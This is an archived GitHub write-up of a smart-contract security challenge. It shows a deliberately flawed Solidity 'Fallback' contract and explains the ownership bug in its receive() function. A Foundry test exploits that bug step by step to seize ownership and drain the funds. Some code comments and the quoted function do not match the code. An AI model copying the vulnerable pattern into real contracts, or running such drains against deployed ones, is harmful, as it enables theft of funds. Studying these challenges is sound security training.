You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on Dec 11, 2024. It is now read-only.
in this challenge, we exploit a flawed fallback function to gain control and drain a contract.
contractFallback {
mapping(address=>uint) public contributions;
addresspublic owner;
constructor() {
owner =msg.sender;
contributions[msg.sender] =1000* (1 ether);
}
modifier onlyOwner {
require(
msg.sender== owner,
"caller is not the owner"
);
_;
}
function contribute() publicpayable {
require(msg.value<0.001 ether);
contributions[msg.sender] +=msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner =msg.sender;
}
}
function getContribution() publicviewreturns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() externalpayable {
require(msg.value>0&& contributions[msg.sender] >0);
owner =msg.sender;
}
}
discussion
the only way to drain the contract is via withdraw(), which can only be called if msg.sender is the owner (because of the onlyOwner modifier).this function will transfer all the funds in the contract to the owner's' address (note that this function is also vulnerable to reentrancy):
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
there are two places in the contract where owner is updated with msg.sender: contribute() and the fallback receive().
the function contribute() allows the msg.sender to send wei to the contract and to be tracked by the contributions[] mapping variable.
if the total contribution made by a user is greater than the one by the actual owner, msg.sender will become owner.
the fallback function receive() is a special function that is called "automatically" when some ether is sent to the contract without specifying anything in the calldata (i.e., calls made with send() or transfer()).
implementing a fallback function is a good idea if the contract receives ether from other wallets or contracts, as they are useful for emitting payment events and checking requirements. every smart contract can only have one fallback function.
here, receive() requires that msg.value > 0 (the function call needs to contain some wei) and contributions[msg.sender] > 0 (the caller has to have donated before). if they pass, owner becomes msg.sender:
contractFallbackTestisTest {
Fallback public level;
address instance = vm.addr(0x10053);
address hacker = vm.addr(0x1337);
function setUp() public {
vm.deal(hacker, 0.0001 ether);
vm.prank(instance);
level =newFallback();
}
function testFallbackHack() public {
vm.startPrank(hacker);
////////////////////////////////////////// //// STEP 1: RECON //// /////////////////////////////////////////////////////////////////////////////////////// Should show the adress of the instance//////////////////////////////////////////emitlog_address(instance);
///////////////////////////////////// Should be the same as above///////////////////////////////////emitlog_address(level.owner());
///////////////////////////////////// Both should be 0, one is the // array contributions[msg.sender], // the other is the owner's balance///////////////////////////////////emitlog_uint(level.getContribution());
emitlog_uint(instance.balance);
///////////////////////////////////// Should be 1 ether as set above// (1000000000000000000)///////////////////////////////////emitlog_address(hacker);
emitlog_uint(hacker.balance);
////////////////////////////////////////// //// STEP 2: contribute() //// //////////////////////////////////////////////////////////////////////////////////// contribute with msg.sender to hacker////////////////////////////////////////
level.contribute{value: 1wei}();
/////////////////////////////////// // Should be 999999999999999999 and// contributions[msg.sender] is 1///////////////////////////////////emitlog_uint(hacker.balance);
emitlog_uint(level.getContribution());
////////////////////////////////////////// //// STEP 3: TRIGGER FALLBACK //// ///////////////////////////////////////////////////////////////////////////////// call send() to trigger receive(), // hacker should be the owner/////////////////////////////////////
(boolsent, ) =address(level).call{value: 1wei}("");
require(sent, "Failed to call send()");
assertEq(level.owner(), hacker);
////////////////////////////////////////// //// STEP 4: DRAIN CONTRACT //// //////////////////////////////////////////
level.withdraw();
vm.stopPrank();
}
}